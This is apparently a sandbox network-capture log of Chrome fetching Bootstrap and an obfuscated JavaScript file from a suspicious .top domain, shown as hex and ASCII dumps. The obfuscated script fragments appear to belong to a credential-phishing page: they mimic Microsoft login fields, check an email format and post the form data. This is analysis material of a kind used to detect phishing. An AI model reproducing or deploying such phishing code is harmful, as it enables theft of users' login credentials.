2024-10-25 08:20:23 UTC	950	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:23 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Thu, 24 Oct 2024 22:19:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fLPmijws0WsOYWZ%2BrfTlv9%2BgzTW%2Fi1k2KQRVRL94%2F7R4IlEzvyEHEPs1Y8gb8aNKqZcRjwHH%2Bd7USN9PeSblBeFSgRThm8JDlY5i80hlZBXhvRcuM%2FOA6q9kqcugbv5v50C6a%2FwlEyScLzI3kchg71GPDFjCQ7iWK8vvLza4KNIFyZNI439XOdTHqOPqY9jt8G8u%2B96PARiJADRx84WfCA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d80c97c4f0d477a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2045&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2891&recv_bytes=1948&delivery_rate=1436507&cwnd=226&unsent_bytes=0&cid=52df35070bb0a208&ts=373&x=0"
2024-10-25 08:20:23 UTC	419	IN	Data Raw: 37 63 61 38 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7ca8/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b Data Ascii: "jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.k
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 Data Ascii: xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 Data Ascii: s,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return t.close=functi
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 Data Ascii: (new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A='[data-toggle
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 6d 2e 66 6e 5b 70 5d Data Ascii: ult();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p]
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 26 26 74 68 69 73 2e 6e 65 78 74 28 29 Data Ascii: rySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 Data Ascii: urn t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){ret
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e Data Ascii: ){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 Data Ascii: "string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	50187	172.67.167.62	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:23 UTC	1371	OUT	GET /js_/671b54c597dcc-df9266ed069883385b9ae264cbaeed5e HTTP/1.1 Host: ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/&redirect=decffa29e87b6f8cfabb3139b5d4b8cea73cc7d2main&uid=f253efe302d32ab264a76e0ce65be769671b54c415570 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c147e9980a1d72d62d70c44c4c0e984c; cf_clearance=9Zd6xGiJaXgzmDGoA9fkBzXIza3PQQRM.C5pdMXbtxI-1729844413-1.2.1.1-4k_vy4QSp_yO9.Yn8seiiKgNmKLQk7xeUzrrDnXVFPT5HesB0BYTBeopvPzGt4LojXkColg7VEMftk75N_YwUjEaFYRxSQ6.2lzI7AhwzJjtb7mzIQQb64YkRRxgObgLi4wz5i8KSAXWWevktQXED_oQtt1ot6rKG38RKres6fBnTzOWm2cQYBuShYWedAJ0oWgN8ud1L0df0cQeBY8GqNed9QUxULLLn4IMP3k_FgTs_3BlBjTDHMJwSxIolrIGkrSHaG5y4zKEfDThlgOqgbYyu362g6haTMWSrplJy7PksfrAXEuvsjem9iizzs02MUr6LKFhYixb1xx5rkdshkDi0AMhNg8ntNb9mJbH5AZgCT4oyOiMvR.UVsKpcnhOfIjKxtSjRUx0nOy1VyxjIJdE.n4CGm_bW72zt4oftx5v4RWH5UH9rHcIm6TfR4He
2024-10-25 08:20:23 UTC	948	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:23 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close last-modified: Fri, 25 Oct 2024 07:41:42 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GX68OaicmLtyw55UR9L0tMiqQik0CgW49AcFaslMlAL6riQqdGkAqSGnbBwGEYt6CPECTz%2BsOZfWfqbqZddoV5ENtp%2BV0npF6d6Eiv9qqGf0O801zTMvhF3ur5Gso23kf2f33%2B2ejB3e6bGJyTXo%2FHoM6ZjBS7HzresEL5Ze4URtbvOUeP606F4kbQsOJS%2F%2B0T%2FFkaAToMG641wfzSBF8A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d80c97c49e7e766-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1356&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2890&recv_bytes=1949&delivery_rate=2030855&cwnd=239&unsent_bytes=0&cid=1419b06f7c84bdd5&ts=356&x=0"
2024-10-25 08:20:23 UTC	421	IN	Data Raw: 31 61 37 31 0d 0a 63 6f 6e 73 74 20 61 30 5f 30 78 33 61 37 64 63 38 3d 61 30 5f 30 78 34 38 66 65 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 61 38 37 30 30 2c 5f 30 78 35 37 34 66 33 39 29 7b 63 6f 6e 73 74 20 5f 30 78 31 36 61 61 35 37 3d 61 30 5f 30 78 34 38 66 65 2c 5f 30 78 37 37 39 33 33 61 3d 5f 30 78 33 61 38 37 30 30 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 78 38 34 63 36 64 37 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 61 61 29 29 2f 30 78 31 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 39 63 29 29 2f 30 78 32 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 61 38 29 29 2f 30 78 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 Data Ascii: 1a71const a0_0x3a7dc8=a0_0x48fe;(function(_0x3a8700,_0x574f39){const _0x16aa57=a0_0x48fe,_0x77933a=_0x3a8700();while(!![]){try{const _0x84c6d7=-parseInt(_0x16aa57(0xaa))/0x1+parseInt(_0x16aa57(0x9c))/0x2+parseInt(_0x16aa57(0xa8))/0x3*(-parseInt(_0x16aa5
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 78 39 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 62 66 29 29 2f 30 78 61 29 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 39 36 29 29 2f 30 78 62 2a 28 70 61 72 73 65 49 6e 74 28 5f 30 78 31 36 61 61 35 37 28 30 78 39 34 29 29 2f 30 78 63 29 3b 69 66 28 5f 30 78 38 34 63 36 64 37 3d 3d 3d 5f 30 78 35 37 34 66 33 39 29 62 72 65 61 6b 3b 65 6c 73 65 20 5f 30 78 37 37 39 33 33 61 5b 27 70 75 73 68 27 5d 28 5f 30 78 37 37 39 33 33 61 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 5f 30 78 33 33 37 39 31 65 29 7b 5f 30 78 37 37 39 33 33 61 5b 27 70 75 73 68 27 5d 28 5f 30 78 37 37 39 33 33 61 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 61 30 5f 30 78 32 63 39 38 2c 30 78 39 38 66 37 39 29 29 Data Ascii: x9(-parseInt(_0x16aa57(0xbf))/0xa)+parseInt(_0x16aa57(0x96))/0xb(parseInt(_0x16aa57(0x94))/0xc);if(_0x84c6d7===_0x574f39)break;else _0x77933a['push'](_0x77933a['shift']());}catch(_0x33791e){_0x77933a['push'](_0x77933a['shift']());}}}(a0_0x2c98,0x98f79))
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 27 2c 27 68 61 73 2d 65 72 72 6f 72 5c 78 32 30 65 78 74 2d 68 61 73 2d 65 72 72 6f 72 27 2c 27 6f 70 61 63 69 74 79 27 2c 27 49 66 45 78 69 73 74 73 52 65 73 75 6c 74 27 2c 27 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 27 2c 27 73 74 61 74 75 73 27 2c 27 6a 73 6f 6e 27 2c 27 28 28 28 2e 2b 29 2b 29 2b 29 2b 24 27 2c 27 61 74 74 72 27 2c 27 67 67 65 72 27 2c 27 69 30 31 31 38 27 2c 27 38 38 37 35 37 31 36 57 4a 50 4b 63 7a 27 2c 27 6c 69 67 68 74 62 6f 78 73 27 2c 27 32 32 74 4a 4a 4b 69 78 27 2c 27 6d 65 74 68 6f 64 27 2c 27 70 72 6f 67 72 65 73 73 42 61 72 27 2c 27 69 6e 69 74 27 2c 27 75 73 65 72 6e 61 6d 65 45 72 72 6f 72 27 2c 27 73 65 72 69 61 6c 69 7a 65 41 72 72 61 79 27 2c 27 38 39 34 35 37 30 6d 6f 5a 6e 69 4d 27 2c 27 34 34 34 70 4e 70 52 46 7a Data Ascii: ','has-error\x20ext-has-error','opacity','IfExistsResult','getElementById','status','json','(((.+)+)+)+$','attr','gger','i0118','8875716WJPKcz','lightboxs','22tJJKix','method','progressBar','init','usernameError','serializeArray','894570moZniM','444pNpRFz
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 6d 65 6e 74 5b 5f 30 78 32 66 63 61 37 31 28 30 78 38 64 29 5d 28 5f 30 78 32 66 63 61 37 31 28 30 78 61 36 29 29 2c 5f 30 78 34 33 39 32 32 38 3d 5f 30 78 31 63 31 61 64 64 5b 5f 30 78 32 66 63 61 37 31 28 30 78 63 34 29 5d 5b 5f 30 78 32 66 63 61 37 31 28 30 78 61 63 29 5d 28 29 2c 5f 30 78 32 32 32 34 62 32 3d 2f 5e 28 5b 61 2d 7a 41 2d 5a 30 2d 39 5f 5c 2e 5c 2d 5d 29 2b 5c 40 28 28 5b 61 2d 7a 41 2d 5a 30 2d 39 5c 2d 5d 29 2b 5c 2e 29 2b 28 5b 61 2d 7a 41 2d 5a 30 2d 39 5d 7b 32 2c 34 7d 29 2b 24 2f 3b 69 66 28 21 5f 30 78 32 32 32 34 62 32 5b 27 74 65 73 74 27 5d 28 5f 30 78 34 33 39 32 32 38 29 29 72 65 74 75 72 6e 20 24 28 5f 30 78 32 66 63 61 37 31 28 30 78 62 32 29 29 5b 27 61 64 64 43 6c 61 73 73 27 5d 28 5f 30 78 32 66 63 61 37 31 28 30 78 38 Data Ascii: ment[_0x2fca71(0x8d)](_0x2fca71(0xa6)),_0x439228=_0x1c1add[_0x2fca71(0xc4)][_0x2fca71(0xac)](),_0x2224b2=/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;if(!_0x2224b2['test'](_0x439228))return $(_0x2fca71(0xb2))['addClass'](_0x2fca71(0x8
2024-10-25 08:20:23 UTC	1369	IN	Data Raw: 35 63 33 36 63 63 3d 5f 30 78 33 31 39 62 33 65 5b 5f 30 78 32 66 63 61 37 31 28 30 78 38 34 29 5d 28 5f 30 78 32 66 63 61 37 31 28 30 78 39 66 29 29 3b 5f 30 78 35 63 33 36 63 63 5b 5f 30 78 32 66 63 61 37 31 28 30 78 39 31 29 5d 28 27 64 69 73 61 62 6c 65 64 27 2c 5f 30 78 32 66 63 61 37 31 28 30 78 62 64 29 29 2c 24 5b 5f 30 78 32 66 63 61 37 31 28 30 78 62 35 29 5d 28 7b 27 74 79 70 65 27 3a 5f 30 78 33 31 39 62 33 65 5b 27 61 74 74 72 27 5d 28 5f 30 78 32 66 63 61 37 31 28 30 78 39 37 29 29 2c 27 75 72 6c 27 3a 5f 30 78 33 31 39 62 33 65 5b 5f 30 78 32 66 63 61 37 31 28 30 78 39 31 29 5d 28 5f 30 78 32 66 63 61 37 31 28 30 78 61 66 29 29 2c 27 64 61 74 61 27 3a 5f 30 78 33 31 39 62 33 65 5b 5f 30 78 32 66 63 61 37 31 28 30 78 39 62 29 5d 28 29 2c 27 Data Ascii: 5c36cc=_0x319b3e[_0x2fca71(0x84)](_0x2fca71(0x9f));_0x5c36cc[_0x2fca71(0x91)]('disabled',_0x2fca71(0xbd)),$[_0x2fca71(0xb5)]({'type':_0x319b3e['attr'](_0x2fca71(0x97)),'url':_0x319b3e[_0x2fca71(0x91)](_0x2fca71(0xaf)),'data':_0x319b3e[_0x2fca71(0x9b)](),'
2024-10-25 08:20:23 UTC	880	IN	Data Raw: 30 78 32 36 33 62 62 30 3b 21 5f 30 78 31 61 32 38 62 39 5b 5f 30 78 35 34 39 62 64 61 28 30 78 38 63 29 5d 26 26 28 5f 30 78 34 35 33 38 38 39 3d 21 5b 5d 29 3b 7d 7d 29 2c 5f 30 78 34 35 33 38 38 39 3b 7d 66 75 6e 63 74 69 6f 6e 20 61 30 5f 30 78 34 38 66 65 28 5f 30 78 35 34 38 39 64 31 2c 5f 30 78 31 36 64 65 63 31 29 7b 63 6f 6e 73 74 20 5f 30 78 35 31 35 38 65 35 3d 61 30 5f 30 78 32 63 39 38 28 29 3b 72 65 74 75 72 6e 20 61 30 5f 30 78 34 38 66 65 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 32 30 35 62 31 2c 5f 30 78 34 63 66 38 35 33 29 7b 5f 30 78 33 32 30 35 62 31 3d 5f 30 78 33 32 30 35 62 31 2d 30 78 37 62 3b 6c 65 74 20 5f 30 78 66 33 37 65 36 64 3d 5f 30 78 35 31 35 38 65 35 5b 5f 30 78 33 32 30 35 62 31 5d 3b 72 65 74 75 72 6e 20 5f 30 78 66 Data Ascii: 0x263bb0;!_0x1a28b9[_0x549bda(0x8c)]&&(_0x453889=![]);}}),_0x453889;}function a0_0x48fe(_0x5489d1,_0x16dec1){const _0x5158e5=a0_0x2c98();return a0_0x48fe=function(_0x3205b1,_0x4cf853){_0x3205b1=_0x3205b1-0x7b;let _0xf37e6d=_0x5158e5[_0x3205b1];return _0xf
2024-10-25 08:20:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	50195	104.21.16.104	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
